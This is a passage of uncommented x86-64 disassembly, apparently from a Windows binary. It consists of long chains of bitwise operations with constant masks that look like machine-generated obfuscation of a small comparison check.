mov r14d, ebx
and r14d, r15d
xor r15d, ebx
not ebx
mov esi, r10d
and esi, 0x36e0a4b3
mov ebp, r9d
and ebp, 0xc91f5b4c
or ebp, esi
or ebx, 0xda95b09b
mov esi, ebx
not esi
or edx, 0x256a4f64
and ebx, 0xb2513ee5
and esi, 0x52a4100
or esi, ebx
mov ebx, edx
not ebx
and edx, 0xb2513ee5
and ebx, 0x4884801a
or ebx, edx
mov edx, ebp
xor edx, r10d
and edx, ebp
not ebp
or ebp, r9d
and eax, 0xda95b09b
xor ebx, esi
mov esi, ecx
and esi, eax
xor eax, ecx
or eax, esi
mov ecx, ebx
not ecx
and ecx, eax
not eax
and eax, ebx
or eax, ecx
or r15d, r14d
not r15d
mov ecx, eax
and ecx, r15d
xor r15d, eax
or r15d, ecx
mov ecx, edx
not ecx
and ecx, 0x2fb9ad94
mov eax, edx
and eax, 0xd046526b
or eax, ecx
mov esi, ebp
xor esi, 0xeb717dad
and esi, ebp
mov ecx, ebp
or ecx, 0x148e8252
mov ebx, esi
not ebx
mov edi, ebx
and edi, 0x541985d6
and esi, 0xabe67a29
or esi, edi
mov edi, ecx
not edi
or ebx, ecx
and ecx, 0x541985d6
and edi, 0xab607829
or edi, ecx
mov ecx, eax
xor ecx, 0xd046526b
xor edi, esi
mov esi, eax
xor esi, 0x3b372fc6
and esi, ecx
and edx, 0xeb717dad
not ebx
or ebx, edi
mov edi, esi
and edi, edx
xor edx, esi
or edx, edi
mov esi, ebx
not esi
and esi, 0x1b9faa72
and ebx, 0xe460558d
or ebx, esi
mov esi, edx
not esi
and esi, 0x1b9faa72
and edx, 0xe460558d
or edx, esi
mov esi, ebp
not esi
xor edx, ebx
mov edi, esi
and edi, 0x30ac4c31
and ebp, 0xcf53b3ce
or ebp, edi
xor eax, 0x2fb9ad94
or esi, eax
and eax, 0x30ac4c31
and ecx, 0xcf53b3ce
or ecx, eax
mov r14d, dword [0x1400c566c]
xor ecx, ebp
not esi
or esi, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x494fd0ac
and edx, 0xb6b02f53
or edx, ecx
mov ecx, esi
not ecx
or eax, esi
and esi, 0x494fd0ac
and ecx, 0xb6b02f53
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov edx, r15d
not edx
mov ecx, edx
and ecx, 0x8563363f
and r15d, 0x7a9cc9c0
or r15d, ecx
mov ecx, eax
mov ebx, eax
xor ebx, 0x1bc9d41
and ebx, eax
not eax
and eax, 0x89320b91
and ecx, 0x76cdf46e
or ecx, eax
mov eax, ecx
xor eax, 0x76cdf46e
xor ecx, 0x888e96d0
and ecx, eax
mov esi, r15d
xor esi, 0x8c0140
xor r15d, 0x1400
or edx, 0x1bc9d41
or r15d, 0xa002288
and r15d, 0xa10be88
and esi, 0x1ac0141
or esi, r15d
mov eax, edx
not eax
and edx, 0xa10be88
and eax, 0xf4434036
or eax, edx
xor eax, esi
mov edi, ecx
not edi
mov edx, edi
and edx, 0xac3151e4
and ecx, 0x53ceae1b
or ecx, edx
mov edx, ebx
not edx
or edi, edx
and edx, 0xac3151e4
and ebx, 0x53ceae1b
or ebx, edx
xor ebx, ecx
not edi
or edi, ebx
mov ecx, eax
not ecx
and ecx, edi
not edi
and edi, eax
or edi, ecx
mov eax, r11d
xor eax, r9d
and eax, r11d
and r8d, 0x4b66968e
and r11d, 0xb4996971
or r11d, r8d
and r9d, 0x4b66968e
and r10d, 0xb4996971
or r10d, r9d
xor r10d, r11d
mov ecx, eax
and ecx, r10d
xor r10d, eax
or r10d, ecx
mov eax, r10d
xor eax, 0xc4908d19
and eax, r10d
not r10d
and r10d, 0xc4908d19
mov ecx, r10d
and ecx, eax
xor eax, r10d
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x3b6f72e6
and eax, 0xc4908d19
or eax, ecx
mov ebp, eax
not ebp
mov ecx, ebp
and ecx, 0x4fbad333
and eax, 0xb0452ccc
or eax, ecx
xor eax, 0x4fbad333
xor ebp, eax
and ebp, eax
mov r8d, edi
not r8d
mov edx, ebp
not edx
mov eax, edx
and eax, 0x1dda8dc6
and ebp, 0xe2257239
or ebp, eax
mov esi, ebp
xor esi, 0xe2257239
mov eax, edi
xor eax, 0x43a728f1
and eax, r8d
and edi, 0xbc58d70e
xor ebp, 0x5e7da537
and ebp, esi
or edx, 0x43a728f1
mov ebx, edx
not ebx
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov ecx, ebp
not ecx
mov eax, ecx
and eax, 0x7a8871a
and ebp, 0xf85778e5
or ebp, eax
or ecx, edx
and edx, 0x7a8871a
and ebx, 0xb8505004
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov eax, edi
not eax
and eax, ecx
not ecx
and ecx, edi
or ecx, eax
mov eax, r8d
and eax, esi
xor esi, r8d
or esi, eax
mov eax, esi
not eax
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x8efe70da
and ecx, 0x71018f25
or ecx, edx
or ebx, esi
and esi, 0x8efe70da
and eax, 0x71018f25
or eax, esi
xor eax, ecx
not ebx
or ebx, eax
mov r8d, ebx
not r8d
mov ebp, r8d
and ebp, 0x96fdd1ee
mov edi, ebx
mov eax, r8d
and eax, 0x2541508
mov edx, ebx
and edx, 0x112808c0
or edx, eax
xor edx, 0x112808c0
mov eax, ebx
and eax, 0xec83e237
or eax, edx
mov edx, eax
not edx
and edx, 0x8d69098f
and eax, 0x7296f670
or eax, edx
mov esi, eax
and eax, ebx
and ebx, 0x69022e11
or ebx, ebp
mov ebp, ebx
xor ebp, 0x20022c11
xor ebx, 0x823950ce
and ebx, 0xcb3952ce
and ebp, 0x34c6ad31
or ebp, ebx
mov ebx, ebp
xor ebx, 0x14822110
and ebx, 0x55b32194
xor ebp, 0x61758ca5
or ebp, ebx
mov ebx, ebp
not ebx
and edi, 0x15235e4e
mov ecx, r8d
and ecx, 0xeadca1b1
or ecx, edi
xor ecx, 0xbf6f8025
mov edi, r8d
and edi, 0xaa4cde6b
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0xfaef7199
and edi, 0x5108e66
or edi, ecx
mov ecx, edi
xor ecx, 0x5108e66
xor edi, 0xfaef7199
and ecx, ebp
or ebp, edi
not ebp
and edi, ebx
or edi, ecx
mov ecx, ebp
and ecx, edi
xor edi, ebp
or edi, ecx
mov ebx, edi
not ebx
or edi, 0x1fdd5339
mov ebp, edi
not ebp
or ebx, 0xe022acc6
mov ecx, ebx
not ecx
and edi, 0xabdca536
and ebp, 0x402208c0
or ebp, edi
and ebx, 0xabdca536
and ecx, 0x14015209
or ecx, ebx
xor ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xb5918d52
and ecx, 0x4a6e72ad
or ecx, ebp
mov ebp, ecx
mov ebx, ecx
xor ebx, 0xa02ccd1
and ebx, ecx
not ecx
and ecx, 0xa008040
and ebp, 0x24c91
or ebp, ecx
xor ebp, 0x24c91
mov ecx, ebp
and ecx, ebx
xor ebx, ebp
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xf5fd332e
and ebx, 0xa02ccd1
or ebx, ecx
mov ecx, ebx
mov ebp, ebx
xor ebp, 0xac1eaad9
and ebp, ebx
not ebx
and ebx, 0x241e8219
and ecx, 0x880028c0
or ecx, ebx
mov ebx, ecx
xor ebx, 0x800000c0
xor ecx, 0x77ffd73f
mov edi, ebp
not edi
mov edx, ecx
and edx, 0x2e4c2d36
and ebx, 0x801282c9
or ebx, edx
or ecx, edi
and edi, 0x2e4c2d36
and ebp, 0xd1b3d2c9
or ebp, edi
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
and ebp, 0xcdf44161
not ecx
and ecx, 0x320bbe9e
or ecx, ebp
mov ebp, ecx
not ebp
and ecx, 0xe78fb5a5
mov ebx, ebp
and ebx, 0x18704a5a
or ebx, ecx
xor ebx, 0x86655e1d
and ebp, 0x61eaebb8
or ebp, ebx
mov ecx, ebp
not ecx
and ecx, 0x9e844dd3
and ebp, 0x617bb22c
or ebp, ecx
mov ecx, ebp
xor ecx, 0x617bb22c
not esi
and r8d, esi
or eax, r8d
xor esi, eax
and esi, eax
mov eax, esi
not eax
xor ebp, 0x9e844dd3
mov ebx, ebp
and ebx, 0xf2b153ab
mov edi, ecx
and edi, 0xd4eac54
or edi, ebx
mov ebx, esi
and ebx, 0xf2b153ab
mov edx, esi
xor edx, 0x17c7f2d8
and edx, eax
and eax, 0xd4eac54
or eax, ebx
xor eax, edi
mov ebx, eax
xor ebx, ebp
and ebx, eax
and ebp, 0x17c7f2d8
and ecx, 0xe8380d27
or ecx, ebp
and esi, 0xe8380d27
mov eax, edx
and eax, esi
xor esi, edx
or esi, eax
mov eax, ecx
not eax
and eax, esi
not esi
and esi, ecx
or esi, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x7b823121
and ebx, 0x847dcede
or ebx, ecx
mov r8d, ebx
xor r8d, 0x847dcede
mov edi, esi
mov edx, esi
xor edx, 0x8afd2624
and edx, esi
not esi
and esi, 0x99f86611
and edi, 0x660799ee
or edi, esi
mov ecx, edi
xor ecx, 0x660799ee
xor ebx, 0xa802020
or ebx, 0x7502d9db
mov esi, ebx
not esi
or eax, 0x8afd2624
mov ebp, eax
not ebp
xor edi, 0x13054035
and edi, ecx
and ebx, 0x91b167ae
and esi, 0xa4c0000
or esi, ebx
and eax, 0x91b167ae
and ebp, 0x64029851
or ebp, eax
xor ebp, esi
mov eax, edi
not eax
mov ebx, edx
not ebx
mov esi, eax
and esi, 0x1e99c181
and edi, 0xe1663e7e
or edi, esi
or eax, ebx
and ebx, 0x1e99c181
and edx, 0xe1663e7e
or edx, ebx
xor edx, edi
not eax
or eax, edx
mov edx, ebp
not edx
and edx, 0x6eab00cc
and ebp, 0x9154ff33
or ebp, edx
mov edx, eax
not edx
and edx, 0x6eab00cc
and eax, 0x9154ff33
or eax, edx
xor eax, ebp
mov edx, r8d
and edx, ecx
xor ecx, r8d
or ecx, edx
mov edx, ecx
not edx
and edx, 0x983b865e
and ecx, 0x67c479a1
or ecx, edx
xor ecx, 0x67c479a1
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ecx
and edx, 0x48a6a6a5
mov eax, ebp
and eax, 0x280f915
and ecx, 0xfd7f06ea
or ecx, eax
xor ecx, 0x4a265fb0
or ecx, ebp
and ebp, 0xb759595a
or ebp, edx
mov ebx, ebp
xor ebx, 0x48a6a6a5
and ebx, ebp
mov edx, ecx
not edx
mov edi, ebx
not edi
and ecx, 0xae0f02b
mov eax, edx
and eax, 0xf51f0fd4
or eax, ecx
mov ebp, eax
xor ebp, 0xf51f0fd4
mov ecx, ebx
xor ecx, 0xc6c2e75c
and ecx, edi
and ebx, 0x393d18a3
xor eax, 0xcc221777
and eax, ebp
and edx, 0x393d18a3
mov esi, ecx
and esi, ebx
xor ebx, ecx
or ebx, esi
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, ebx
not eax
and eax, 0xfb2372b0
and ebx, 0x4dc8d4f
or ebx, eax
mov eax, edx
not eax
and eax, 0xfb2372b0
and edx, 0x4dc8d4f
or edx, eax
xor edx, ebx
mov eax, edi
and eax, ebp
xor ebp, edi
or ebp, eax
mov eax, ebp
not eax
and eax, 0x437aee34
and ebp, 0xbc8511cb
or ebp, eax
xor ebp, 0xbc8511cb
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
mov eax, ebp
not eax
mov ecx, ebp
xor ecx, 0xd5a190d7
and ecx, ebp
or ebp, 0x2a5e6f28
mov edx, ecx
not edx
mov ebx, ebp
and ebx, 0x24abb71d
and eax, 0xd10000c2
or eax, ebx
or ebp, edx
and edx, 0x24abb71d
and ecx, 0xdb5448e2
or ecx, edx
xor ecx, eax
not ebp
or ebp, ecx
mov eax, ebp
not eax
and eax, 0xc35f143f
and ebp, 0x3ca0ebc0
or ebp, eax
mov r8d, ebp
xor r8d, 0xc04d360a
mov r9d, ebp
xor r9d, 0x3fb2c9f5
mov eax, r9d
and eax, 0xffee15f0
mov edx, r8d
and edx, 0x11ea0f
or edx, eax
mov eax, edx
xor eax, 0x108000
xor edx, 0xbe280500
xor ebp, 0x7e75d10a
and ebp, r8d
or edx, 0x41c718ff
mov ebx, ebp
not ebx
mov edi, edx
and edi, 0x636b76c2
and eax, 0x9c108100
or eax, edi
or edx, ebx
and ebx, 0x636b76c2
and ebp, 0x9c94893d
or ebp, ebx
xor ebp, eax
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x41c718ff
and edx, 0xbe38e700
or edx, eax
mov edi, edx
not edi
and edx, 0xdbdf2e70
and edi, 0x2420d18f
or edi, edx
mov eax, edi
xor eax, 0xa855ddca
xor edi, 0x2420d18f
and edi, eax
mov eax, r9d
and eax, 0xbf1a7512
mov edx, r8d
and edx, 0x40e58aed
or edx, eax
mov ebx, edx
xor ebx, 0x40e58aed
xor edx, 0x2d102402
and edx, 0x2df1a4a2
mov eax, ebx
and eax, 0xd20e5b5d
or eax, edx
xor eax, 0x5e7b5718
and ebx, 0x738af3ba
or ebx, eax
mov eax, ebx
not eax
mov ebp, edi
xor ebp, 0xbd04e734
mov ecx, ebp
and ebp, edi
not edi
and ebx, 0x1483a34f
mov edx, eax
and edx, 0xeb7c5cb0
or edx, ebx
xor edx, 0xeb7c5cb0
and ecx, edi
mov ebx, edx
and ebx, 0xbd04e734
and eax, 0x42fb18cb
or eax, ebx
mov esi, ecx
not esi
mov ebx, esi
and ebx, 0xd4c7f037
and ecx, 0x2b380fc8
or ecx, ebx
mov ebx, ebp
not ebx
or esi, ebx
and ebx, 0xd4c7f037
and ebp, 0x2b380fc8
or ebp, ebx
xor ebp, ecx
not esi
or esi, ebp
mov ecx, esi
not ecx
and ecx, eax
not eax
and eax, esi
or eax, ecx
mov ecx, edi
and ecx, edx
xor edx, edi
or edx, ecx
not edx
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
or ecx, 0x738af3ba
mov ebx, ecx
not ebx
or edx, 0x8400c45
and edx, 0x2ac84fd7
and eax, 0x5102b028
or eax, edx
and ecx, 0x2ac84fd7
and ebx, 0x84350000
or ebx, ecx
xor ebx, eax
and r8d, 0x20d74c52
and r9d, 0xdf28b3ad
or r9d, r8d
mov ecx, r9d
xor ecx, 0x20d74c52
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x701c47ca
mov eax, ebx
xor eax, 0x701c47ca
and eax, ebx
mov edi, r9d
xor edi, 0x50080388
and edi, 0x701c47ca
xor r9d, 0x50cb0b98
and r9d, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, edi
and ecx, r9d
xor r9d, edi
or r9d, ecx
mov ecx, eax
not ecx
and ecx, 0x8b7281
and eax, 0xff748d7e
or eax, ecx
mov ecx, r9d
not ecx
and ecx, 0x8b7281
and r9d, 0xff748d7e
or r9d, ecx
xor r9d, eax
and ebp, 0x70ab2517
and ebx, 0x8f54dae8
or ebx, ebp
mov eax, ebx
xor eax, 0x8f54dae8
xor ebx, 0x70ab2517
and ebx, r9d
not r9d
and eax, r9d
or ebx, eax
not ebx
or ebx, r9d
cmp ebx, 0xffffffff
setne r11b
sete r12b
cmp r14d, 0xa
setl r9b
cmp r14d, 9
setg r13b
mov r14d, r13d
xor r14b, r9b
mov ecx, r14d
xor cl, 1
mov eax, ecx
and al, r14b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ebx, eax
not bl
and bl, al
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov edx, ebx
xor dl, 1
mov r10d, edx
or r10b, bl
xor r10b, 1
xor al, r10b
mov ecx, eax
xor cl, 1
and cl, r10b
mov r10d, ecx
and r10b, al
xor cl, al
or cl, r10b
mov r10d, ecx
xor r10b, 1
mov eax, ecx
and al, r10b
mov esi, eax
xor sil, 1
xor al, cl
or sil, r10b
xor sil, 1
or sil, al
xor sil, r13b
mov ecx, esi
xor cl, 1
mov eax, r9d
xor al, dl
and al, r9b
and bl, r13b
and dl, r9b
or dl, bl
mov ebx, eax
xor bl, 1
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and al, cl
or cl, dl
and dl, sil
or dl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov r8d, edx
mov esi, r12d
xor sil, r11b
mov eax, esi
xor al, 1
mov r9d, eax
and r9b, sil
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
mov eax, r9d
xor al, 1
mov ecx, r9d
or cl, al
xor cl, al
mov r15d, ecx
and r15b, al
xor r15b, 1
mov edx, r15d
xor dl, cl
or r15b, cl
xor r15b, 1
or r15b, dl
mov ecx, r9d
and cl, al
mov edx, r9d
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov edi, ecx
xor cl, 1
and cl, r11b
mov ebp, r11d
and bpl, r9b
xor r9b, r11b
and sil, r12b
mov eax, esi
xor al, 1
and sil, al
mov edx, eax
and dl, sil
xor sil, al
or sil, dl
mov r10d, esi
xor sil, r11b
and r11b, r15b
not r15b
and r15b, r12b
or r15b, r11b
and dil, r12b
or cl, dil
or r9b, bpl
xor r9b, 1
mov eax, ecx
and al, r9b
xor r9b, cl
or r9b, al
mov ebx, r9d
xor bl, 1
mov ecx, r9d
and cl, bl
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
xor cl, r15b
xor cl, 1
mov edx, r15d
xor dl, bl
or bl, r15b
xor bl, 1
or bl, dl
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov r11d, ebx
xor r11b, 1
mov r9d, ebx
or r9b, r11b
mov edx, r9d
xor dl, 1
mov ecx, r9d
and cl, dl
mov eax, r11d
and al, bl
mov edi, r9d
and dil, cl
xor cl, r9b
or cl, dil
mov r9d, r11d
and r9b, al
xor al, r11b
or al, r9b
mov r9d, ecx
xor r9b, 1
and r9b, al
xor al, 1
and al, cl
or al, r9b
mov ecx, edx
xor cl, bl
or dl, bl
xor dl, 1
or dl, cl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov edx, eax
mov edi, r8d
mov eax, r8d
xor al, 1
mov r9d, r8d
and r9b, al
mov ebx, eax
mov byte [rsp + 0x48], al
xor r9b, 1
mov eax, r9d
xor al, r8b
or r9b, r8b
xor r9b, 1
or r9b, al
mov eax, r9d
xor al, 1
and r9b, al
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
mov eax, r9d
xor al, 1
mov ecx, ebx
and cl, al
or al, r8b
xor al, 1
and r9b, r8b
mov byte [rsp + 0x40], r8b
or r9b, cl
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
mov ebp, r9d
xor bpl, 1
and r14b, r13b
mov ecx, r14d
not cl
and cl, r14b
xor cl, 1
mov eax, r14d
xor al, cl
or cl, r14b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ebx, edx
mov r11d, edx
xor r11b, 1
mov r15d, edx
or r15b, r11b
mov edx, r15d
xor dl, 1
mov r13d, edx
and r13b, r15b
mov r8d, r11d
and r8b, bl
mov r14d, r13d
xor r13b, dl
mov edx, edi
and dl, r11b
mov edi, ebx
mov byte [rsp + 0x38], bl
and bl, byte [rsp + 0x48]
or bl, dl
mov edx, r8d
and dl, r11b
xor bl, 1
or bl, r11b
mov byte [rsp + 0x3c], bl
xor r11b, r8b
mov byte [rsp + 0x3a], r11b
or dl, r11b
xor r14b, 1
or r14b, r15b
xor r14b, 1
or r14b, r13b
xor r14b, dl
mov edx, edi
and dl, r15b
xor r15b, dil
or r15b, dl
mov edx, r15d
xor dl, r14b
xor r14b, 1
xor dl, 1
or r14b, r15b
xor r14b, 1
or r14b, dl
xor r8b, 1
mov edx, edi
xor dl, r8b
or r8b, dil
xor r8b, 1
mov byte [rsp + 0x39], r8b
or dl, r8b
mov ebx, edx
xor bl, 1
mov r13d, ebx
and r13b, dl
xor bl, r13b
xor r13b, 1
or r13b, dl
mov edx, r14d
xor dl, 1
xor r13b, 1
or r13b, bl
mov ebx, r13d
and bl, r14b
xor r13b, 1
and r13b, dl
or r13b, bl
mov edx, r13d
xor dl, r14b
or r13b, r14b
xor r13b, 1
or r13b, dl
mov edx, r13d
xor dl, 1
xor r10b, 1
or r10b, r12b
xor sil, 1
mov r14d, r10d
xor r14b, sil
or sil, r10b
xor sil, 1
or sil, r14b
mov r14d, esi
xor r14b, 1
and r14b, sil
xor r14b, 1
mov r10d, esi
xor r10b, r14b
or r14b, sil
xor r14b, 1
or r14b, r10b
mov ebx, r14d
xor bl, 1
mov r10d, ecx
or r10b, bpl
xor r10b, 1
xor cl, bpl
xor cl, 1
and cl, bpl
mov esi, r10d
and sil, cl
xor cl, r10b
or cl, sil
mov r10d, ecx
xor r10b, 1
mov esi, r9d
and sil, bpl
mov r11d, r9d
and r11b, sil
xor sil, r9b
and r9b, r10b
and cl, bpl
or cl, r9b
xor cl, 1
or cl, r10b
or sil, r11b
xor sil, 1
mov r9d, eax
and r9b, sil
xor sil, al
or sil, r9b
mov r9d, esi
xor r9b, 1
mov r10d, ebp
xor r10b, al
or al, bpl
xor al, 1
or al, r10b
mov r10d, eax
xor r10b, 1
mov r11d, r9d
and r11b, sil
mov ebp, r11d
and bpl, r9b
xor r11b, r9b
mov r9d, r10d
and r9b, al
or r11b, bpl
mov ebp, r9d
xor r9b, r10b
mov r10d, ecx
xor r10b, 1
xor bpl, 1
or bpl, al
xor bpl, 1
or bpl, r9b
xor bpl, r11b
mov r9d, esi
and r9b, al
xor al, sil
or al, r9b
xor al, 1
mov r9d, ebp
and r9b, al
xor al, bpl
or al, r9b
mov r9d, eax
xor r9b, 1
and r9b, cl
and r10b, al
or r10b, r9b
mov r9d, r10d
xor r9b, cl
and r9b, r10b
mov r10d, ecx
xor r10b, al
xor r10b, 1
and r10b, al
or al, cl
xor al, 1
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, r9d
xor cl, 1
mov esi, eax
xor sil, 1
and al, cl
or cl, sil
and sil, r9b
or sil, al
xor sil, 1
mov eax, ecx
xor al, sil
or sil, cl
xor sil, 1
or sil, al
mov ebp, r13d
or bpl, dl
xor bpl, 1
mov r15d, r13d
and r15b, dl
mov r9d, r15d
and r9b, r13b
mov ecx, r15d
xor cl, r13b
or cl, r9b
xor cl, bpl
mov r9d, r13d
xor r9b, bpl
or bpl, r13b
xor bpl, 1
or bpl, r9b
xor bpl, 1
mov r9d, ecx
and r9b, bpl
xor bpl, cl
or bpl, r9b
mov ecx, r14d
or cl, bl
mov r9d, ecx
xor r9b, bl
mov r8d, r9d
xor r8b, 1
and r9b, bl
mov r10d, r9d
and r10b, r8b
xor r9b, r8b
or r9b, r10b
mov r12d, ebp
xor r12b, 1
mov r11d, r12d
and r11b, bpl
mov r10d, r12d
and r10b, r11b
xor r11b, r12b
or r11b, r10b
mov r10d, r11d
and r10b, r12b
xor r11b, r12b
or r11b, r10b
xor r15b, 1
mov r10d, edx
xor r10b, r15b
or r15b, dl
xor r15b, 1
or r15b, r10b
mov edx, r15d
xor dl, 1
xor r15b, r13b
xor r15b, 1
or r15b, dl
mov edi, r9d
xor dil, 1
mov edx, r9d
and dl, dil
mov r10d, edx
xor r10b, dil
xor dl, 1
or r9b, dl
xor r9b, 1
or r9b, r10b
xor bl, r14b
xor cl, 1
or cl, bl
mov r10d, ecx
xor r10b, 1
and cl, r10b
mov r14d, r10d
and r14b, cl
xor cl, r10b
or cl, r14b
mov r10d, r11d
and r10b, r15b
mov r14d, r11d
xor r14b, r15b
or r14b, r10b
mov r10d, r15d
xor r10b, 1
and r15b, r10b
mov r13d, r15d
and r13b, r10b
xor r15b, r10b
or r15b, r13b
mov r10d, r11d
xor r10b, 1
and r11b, r15b
xor r15b, 1
and r15b, r10b
mov r10d, ecx
or r15b, r11b
mov r11d, r14d
xor r11b, r15b
xor r15b, 1
or r15b, r14b
mov r14d, r11d
xor r14b, r15b
or r15b, r11b
xor r15b, 1
or r15b, r14b
mov r8d, ecx
mov r14d, r9d
xor r14b, cl
and r14b, r9b
mov r13d, ecx
and cl, r9b
mov r11d, r9d
xor r9b, 1
or r11b, r9b
mov eax, r11d
xor al, 1
and r11b, al
mov ebx, r11d
and bl, al
xor r11b, al
or r11b, bl
mov ebx, eax
xor bl, r9b
or al, r9b
xor al, 1
or al, bl
xor r11b, r9b
xor r11b, 1
mov ebx, r11d
xor bl, al
or r11b, al
xor r11b, 1
or r11b, bl
xor r10b, 1
or r8b, r10b
mov eax, r8d
xor al, 1
and r13b, r8b
and al, r10b
or al, r13b
or r8b, r10b
xor r8b, 1
mov ebx, r8d
and bl, al
xor al, r8b
or al, bl
mov r13d, r11d
xor r13b, 1
and r13b, r11b
xor r13b, 1
mov r8d, r11d
xor r8b, r13b
or r13b, r11b
xor r13b, 1
or r13b, r8b
mov r8d, eax
xor r8b, 1
mov ebx, r8d
and bl, al
xor r8b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r8b
xor bl, r13b
and r10b, r9b
or cl, r10b
mov eax, r14d
and al, cl
xor cl, r14b
or cl, al
mov r8d, ecx
xor r8b, 1
mov eax, ebx
xor al, 1
and r8b, al
or al, cl
and cl, bl
or cl, r8b
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov ebx, r15d
xor bl, 1
mov eax, ebx
and al, r15b
mov r8d, ebx
xor r8b, al
xor al, 1
or al, r15b
xor al, 1
or al, r8b
or bl, r15b
mov r8d, ebx
mov r9d, eax
xor r9b, bl
and r9b, al
and bl, al
xor al, 1
xor r8b, 1
and r8b, al
or bl, r8b
mov eax, r9d
xor al, 1
xor r9b, bl
xor bl, 1
or bl, al
mov eax, ecx
xor al, 1
or cl, al
xor cl, 1
xor bl, 1
or bl, r9b
mov r8d, ecx
xor r8b, al
or cl, al
xor cl, 1
or cl, r8b
xor r8b, 1
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
and cl, al
and al, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, edx
xor cl, dil
or dl, dil
xor dl, 1
or dl, cl
xor dl, bpl
xor bpl, dil
xor bpl, 1
or bpl, r12b
mov ecx, ebp
xor cl, dl
xor dl, 1
or dl, bpl
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
mov r8d, ecx
mov ebx, ecx
or cl, dl
xor dl, 1
and r8b, dl
xor bl, dl
or bl, r8b
mov r8d, ebx
xor r8b, 1
or dl, al
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov eax, r8d
and al, bl
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
and al, cl
or al, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov edx, esi
xor dl, 1
mov ecx, edx
and cl, sil
mov r8d, esi
or r8b, dl
xor dl, cl
xor cl, 1
or cl, sil
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ecx
and dl, bl
xor dl, 1
mov r9d, edx
xor r9b, bl
or dl, bl
xor dl, 1
or dl, r9b
mov r9d, edx
and dl, r8b
xor bl, r8b
xor r8b, 1
xor r9b, 1
and r9b, r8b
or dl, r9b
or r8b, cl
xor r8b, 1
or r8b, bl
xor dl, 1
mov ecx, edx
xor cl, r8b
or dl, r8b
xor dl, 1
or dl, cl
mov r9d, eax
xor r9b, 1
mov r8d, edx
or r8b, al
xor dl, al
xor dl, 1
and dl, al
mov ebx, r8d
xor bl, dl
xor dl, 1
xor bl, 1
or dl, r8b
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
mov ecx, r9d
or cl, al
mov r8d, ecx
mov r10d, r9d
xor r10b, cl
and r10b, r9b
and cl, r9b
and r9b, bl
and dl, al
or dl, r9b
xor bl, dl
and bl, dl
xor r8b, 1
and r8b, al
or cl, r8b
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, esi
xor al, cl
xor al, 1
or cl, sil
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, 1
mov r8d, ecx
xor r8b, al
xor r8b, 1
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, r8b
xor bl, 1
and dl, cl
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor al, bl
mov ecx, eax
xor cl, 1
and bl, cl
mov r11d, ebx
xor r11b, 1
xor bl, al
or r11b, cl
xor r11b, 1
or r11b, bl
mov dil, byte [rsp + 0x39]
or dil, byte [rsp + 0x3a]
mov eax, edi
mov r9b, byte [rsp + 0x40]
xor al, r9b
and al, dil
mov dl, byte [rsp + 0x48]
or dil, dl
xor dil, 1
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
xor dil, 1
mov eax, edi
and al, dl
